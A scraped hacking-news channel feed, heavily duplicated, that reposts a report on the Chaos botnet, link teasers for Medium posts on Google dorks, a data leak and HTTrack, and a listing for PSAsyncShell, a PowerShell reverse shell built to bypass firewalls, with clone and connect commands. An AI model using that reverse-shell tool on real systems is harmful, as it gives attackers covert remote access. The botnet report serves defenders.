Hacking Articles Tips Tricks Videos Tutorials
Photo
Black Hat Ethical Hacking
New Chaos malware infects Windows, Linux devices for DDoS attacks
New Chaos malware infects Windows, Linux devices for DDoS attacksPost Views: 2 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/Patreon-1.png Subscribe to Patreon to watch this episode.
Reading Time: 3 Minutes A quickly expanding botnet called Chaos is targeting and infecting Windows and Linux devices to use them for cryptomining and launching DDoS attacks.This Go-based malware can also infect various architectures, including x86, x86-64, AMD64, MIPS, MIPS64, ARMv5-ARMv8, AArch64, and PowerPC, used by a wide range of devices from small office/home office routers and enterprise servers.
Even though it mainly propagates by attacking devices unpatched against various security vulnerabilities and SSH brute-forcing, Chaos will also use stolen SSH keys to hijack more devices.
It also backdoors hijacked devices by establishing a reverse shell that will allow the attackers to reconnect at any time for further exploitation.
See Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course
While analyzing around 100 samples discovered in the wild, security researchers Danny Adamitis, Steve Rudd, and Stephanie Walkenshaw at Lumen’s Black Lotus Labs found that Chaos is written in Chinese and uses China-based command-and-control (C2) infrastructure.
They also found that the botnet is targeting an extensive array of industries and has expanded exponentially since it was first spotted in April.
“Using Lumen global network visibility, Black Lotus Labs enumerated the C2s and targets of several distinct Chaos clusters, including a successful compromise of a GitLab server and a spate of recent DDoS attacks targeting the gaming, financial services and technology, and media and entertainment industries – as well as DDoS-as-a-service providers and a cryptocurrency exchange,” the researchers said.
“While the botnet infrastructure today is comparatively smaller than some of the leading DDoS malware families, Chaos has demonstrated rapid growth in the last few months.”
https://www.bleepstatic.com/images/news/u/1109292/2022/Chaos_botnet_growth.png
___________________________
@hacking_Attack
@Hacking_Video
New Chaos malware infects Windows, Linux devices for DDoS attacks
New Chaos malware infects Windows, Linux devices for DDoS attacksPost Views: 2 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/Patreon-1.png Subscribe to Patreon to watch this episode.
Reading Time: 3 Minutes A quickly expanding botnet called Chaos is targeting and infecting Windows and Linux devices to use them for cryptomining and launching DDoS attacks.This Go-based malware can also infect various architectures, including x86, x86-64, AMD64, MIPS, MIPS64, ARMv5-ARMv8, AArch64, and PowerPC, used by a wide range of devices from small office/home office routers and enterprise servers.
Even though it mainly propagates by attacking devices unpatched against various security vulnerabilities and SSH brute-forcing, Chaos will also use stolen SSH keys to hijack more devices.
It also backdoors hijacked devices by establishing a reverse shell that will allow the attackers to reconnect at any time for further exploitation.
See Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course
While analyzing around 100 samples discovered in the wild, security researchers Danny Adamitis, Steve Rudd, and Stephanie Walkenshaw at Lumen’s Black Lotus Labs found that Chaos is written in Chinese and uses China-based command-and-control (C2) infrastructure.
They also found that the botnet is targeting an extensive array of industries and has expanded exponentially since it was first spotted in April.
“Using Lumen global network visibility, Black Lotus Labs enumerated the C2s and targets of several distinct Chaos clusters, including a successful compromise of a GitLab server and a spate of recent DDoS attacks targeting the gaming, financial services and technology, and media and entertainment industries – as well as DDoS-as-a-service providers and a cryptocurrency exchange,” the researchers said.
“While the botnet infrastructure today is comparatively smaller than some of the leading DDoS malware families, Chaos has demonstrated rapid growth in the last few months.”
https://www.bleepstatic.com/images/news/u/1109292/2022/Chaos_botnet_growth.png
___________________________
@hacking_Attack
@Hacking_Video
Black Hat Ethical Hacking
New Chaos malware infects Windows, Linux devices for DDoS attacks | Black Hat Ethical Hacking
A quickly expanding botnet called Chaos is targeting and infecting Windows and Linux devices to use them for cryptomining and launching DDoS attacks.
Hacking Articles Tips Tricks Videos Tutorials
Black Hat Ethical Hacking New Chaos malware infects Windows, Linux devices for DDoS attacks New Chaos malware infects Windows, Linux devices for DDoS attacksPost Views: 2 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/Patreon…
Chaos C2 servers on Lumen’s global backbone to block them from sending or receiving data from infected devices.
Network defenders are advised to monitor for Chaos infections and connections to suspicious servers using indicators of compromise shared on GitHub and to keep their systems patched against newly disclosed security vulnerabilities the malware might start targeting.
Remote workers and router owners should install security updates and patches as soon as possible and change default passwords on all their devices.
“While the shift to Go-based malware has been underway for the last few years, there are few strains that demonstrate the breadth of Chaos in terms of the wide array of architectures and operating systems it was designed to infect,” they concluded.
“Not only does it target enterprise and large organizations but also devices and systems that aren’t routinely monitored as part of an enterprise security model, such as SOHO routers and FreeBSD OS.
“And with a significant evolution from its predecessor, Chaos is achieving rapid growth since the first documented evidence of it in the wild.”
Trending: Revolut hack: personal and banking data exposed
Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?
If you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com
Source: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Images-for-the-News-posts-4-1-300x150.png New malware dropper called NullMixer infects Windows machinesSeptember 28, 2022
Reading Time: 4 minutes
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Images-for-the-News-posts-3-2-300x150.png New Erbium password-stealing malware spreads as game cracks, cheatsSeptember 27, 2022
Reading Time: 4 minutes
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Images-for-the-News-posts-3-1-300x150.png Microsoft SQL servers hacked with FARGO ransomware attacksSeptember 26, 2022
Reading Time: 4 minutes
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Images-for-the-News-posts-2-1-300x150.png Python’s Tarfile path traversal bug from 2007 still present in 350k open source reposSeptember 23, 2022
Reading Time: 3 minutes
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/OffSec-Course.png Offensive Security & Ethical Hacking CourseBegin the learning curve of hacking now!
The post New Chaos malware infects Windows, Linux devices for DDoS attacks first appeared on Black Hat Ethical Hacking.
___________________________
@hacking_Attack
@Hacking_Video
Network defenders are advised to monitor for Chaos infections and connections to suspicious servers using indicators of compromise shared on GitHub and to keep their systems patched against newly disclosed security vulnerabilities the malware might start targeting.
Remote workers and router owners should install security updates and patches as soon as possible and change default passwords on all their devices.
“While the shift to Go-based malware has been underway for the last few years, there are few strains that demonstrate the breadth of Chaos in terms of the wide array of architectures and operating systems it was designed to infect,” they concluded.
“Not only does it target enterprise and large organizations but also devices and systems that aren’t routinely monitored as part of an enterprise security model, such as SOHO routers and FreeBSD OS.
“And with a significant evolution from its predecessor, Chaos is achieving rapid growth since the first documented evidence of it in the wild.”
Trending: Revolut hack: personal and banking data exposed
Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?
If you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com
Source: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Images-for-the-News-posts-4-1-300x150.png New malware dropper called NullMixer infects Windows machinesSeptember 28, 2022
Reading Time: 4 minutes
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Images-for-the-News-posts-3-2-300x150.png New Erbium password-stealing malware spreads as game cracks, cheatsSeptember 27, 2022
Reading Time: 4 minutes
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Images-for-the-News-posts-3-1-300x150.png Microsoft SQL servers hacked with FARGO ransomware attacksSeptember 26, 2022
Reading Time: 4 minutes
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Images-for-the-News-posts-2-1-300x150.png Python’s Tarfile path traversal bug from 2007 still present in 350k open source reposSeptember 23, 2022
Reading Time: 3 minutes
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/OffSec-Course.png Offensive Security & Ethical Hacking CourseBegin the learning curve of hacking now!
The post New Chaos malware infects Windows, Linux devices for DDoS attacks first appeared on Black Hat Ethical Hacking.
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Friendship with Google : Dorks
https://cdn-images-1.medium.com/max/2600/1*yv9_F6EfnpkoQOSatgGZkQ.png
Taking help from our friend Google for recon or information gathering.
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Friendship with Google : Dorks
https://cdn-images-1.medium.com/max/2600/1*yv9_F6EfnpkoQOSatgGZkQ.png
Taking help from our friend Google for recon or information gathering.
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Friendship with Google : Dorks
Taking help from our friend Google for recon or information gathering.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Swachh City platform hacked, data of 16 million users leaked!!!
https://cdn-images-1.medium.com/max/600/0*2o9c8DB4ykCg1dQv
A threat actor called LeakBase shared a database containing Personal Identifiable Information (PII) such as email addresses, hashed…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Swachh City platform hacked, data of 16 million users leaked!!!
https://cdn-images-1.medium.com/max/600/0*2o9c8DB4ykCg1dQv
A threat actor called LeakBase shared a database containing Personal Identifiable Information (PII) such as email addresses, hashed…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Swachh City platform hacked, data of 16 million users leaked!!!
A threat actor called LeakBase shared a database containing Personal Identifiable Information (PII) such as email addresses, hashed…
Taking help from our friend Google for recon or information gathering.Continue reading on Medium » (https://medium.com/@krishArse/friendship-with-google-dorks-49f16747daef?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
Medium
Friendship with Google : Dorks
Taking help from our friend Google for recon or information gathering.
HTTRACK — MAKE ANY WEBSITE OFFLINE
https://alwanwijayaxd.medium.com/httrack-make-any-website-offline-e0a50dc77126?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
https://alwanwijayaxd.medium.com/httrack-make-any-website-offline-e0a50dc77126?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
Medium
HTTRACK — MAKE ANY WEBSITE OFFLINE
Hallo kembali lagi dengan saya, pada tulisan saya kali ini kita akan mencoba melakukan hal yang menarik. di sini saya akan menunjukkan…
Hallo kembali lagi dengan saya, pada tulisan saya kali ini kita akan mencoba melakukan hal yang menarik. di sini saya akan menunjukkan…Continue reading on Medium » (https://alwanwijayaxd.medium.com/httrack-make-any-website-offline-e0a50dc77126?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
Medium
HTTRACK — MAKE ANY WEBSITE OFFLINE
Hallo kembali lagi dengan saya, pada tulisan saya kali ini kita akan mencoba melakukan hal yang menarik. di sini saya akan menunjukkan…
Kali Linux Tutorials
PSAsyncShell : PowerShell Asynchronous TCP Reverse Shell
PSAsyncShell is an Asynchronous TCP Reverse Shell written in pure PowerShell.
Unlike other reverse shells, all the communication and execution flow is done asynchronously, allowing to bypass some firewalls and some countermeasures against this kind of remote connections.
Additionally, this tool features command history, screen wiping, file uploading and downloading, information splitting through chunks and reverse Base64 URL encoded traffic.
Requirements
* PowerShell 4.0 or greater
Download
It is recommended to clone the complete repository or download the zip file. You can do this by running the following command:
git clone https://github.com/JoelGMSec/PSAsyncShell
Usage
.\PSAsyncShell.ps1 -h
_ _ _ _ _ | _ \/ | / \ _ _ _ _ / || |_ | | | | |) ___ \ / _ \ / | | | | ‘_ \ / ___ | ‘_ \ / _ \ | |
| / ) / \_ \ || | | | | (_ ) | | | | / | | || |// __/_, || ||___|/|| ||__||| |/
———————- by @JoelGMSec ———————–
Info: This tool helps you to get a remote shell
over asynchronous TCP to bypass firewalls
Usage: .\PSAsyncShell.ps1 -s -p listen_port
Listen for a new connection from the client
.\PSAsyncShell.ps1 -c server_ip server_port
Connect the client to a PSAsyncShell server
Warning: All info betwen parts will be sent unencrypted
Download & Upload functions don’t use MultiPart
Download
___________________________
@hacking_Attack
@Hacking_Video
PSAsyncShell : PowerShell Asynchronous TCP Reverse Shell
PSAsyncShell is an Asynchronous TCP Reverse Shell written in pure PowerShell.
Unlike other reverse shells, all the communication and execution flow is done asynchronously, allowing to bypass some firewalls and some countermeasures against this kind of remote connections.
Additionally, this tool features command history, screen wiping, file uploading and downloading, information splitting through chunks and reverse Base64 URL encoded traffic.
Requirements
* PowerShell 4.0 or greater
Download
It is recommended to clone the complete repository or download the zip file. You can do this by running the following command:
git clone https://github.com/JoelGMSec/PSAsyncShell
Usage
.\PSAsyncShell.ps1 -h
_ _ _ _ _ | _ \/ | / \ _ _ _ _ / || |_ | | | | |) ___ \ / _ \ / | | | | ‘_ \ / ___ | ‘_ \ / _ \ | |
| / ) / \_ \ || | | | | (_ ) | | | | / | | || |// __/_, || ||___|/|| ||__||| |/
———————- by @JoelGMSec ———————–
Info: This tool helps you to get a remote shell
over asynchronous TCP to bypass firewalls
Usage: .\PSAsyncShell.ps1 -s -p listen_port
Listen for a new connection from the client
.\PSAsyncShell.ps1 -c server_ip server_port
Connect the client to a PSAsyncShell server
Warning: All info betwen parts will be sent unencrypted
Download & Upload functions don’t use MultiPart
Download
___________________________
@hacking_Attack
@Hacking_Video
Kali Linux Tutorials
PSAsyncShell : PowerShell Asynchronous TCP Reverse Shell
PSAsyncShell is an Asynchronous TCP Reverse Shell written in pure PowerShell. All the communication and execution flow is done asynchronously
HTTRACK — MAKE ANY WEBSITE OFFLINE
Hallo kembali lagi dengan saya, pada tulisan saya kali ini kita akan mencoba melakukan hal yang menarik. di sini saya akan menunjukkan…Continue reading on Medium »
Read more...
Hallo kembali lagi dengan saya, pada tulisan saya kali ini kita akan mencoba melakukan hal yang menarik. di sini saya akan menunjukkan…Continue reading on Medium »
Read more...
Aurora Improper Input Sanitization Bugfix Review
https://medium.com/immunefi/aurora-improper-input-sanitization-bugfix-review-a9376dac046f?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
https://medium.com/immunefi/aurora-improper-input-sanitization-bugfix-review-a9376dac046f?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
Medium
Aurora Improper Input Sanitization Bugfix Review
Summary
SummaryContinue reading on Immunefi » (https://medium.com/immunefi/aurora-improper-input-sanitization-bugfix-review-a9376dac046f?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
Medium
Aurora Improper Input Sanitization Bugfix Review
Summary
SpyCast - A Crossplatform mDNS Enumeration Tool
http://www.kitploit.com/2022/09/spycast-crossplatform-mdns-enumeration.html
___________________________
@hacking_Attack
@Hacking_Video
http://www.kitploit.com/2022/09/spycast-crossplatform-mdns-enumeration.html
___________________________
@hacking_Attack
@Hacking_Video
KitPloit - PenTest & Hacking Tools
SpyCast - A Crossplatform mDNS Enumeration Tool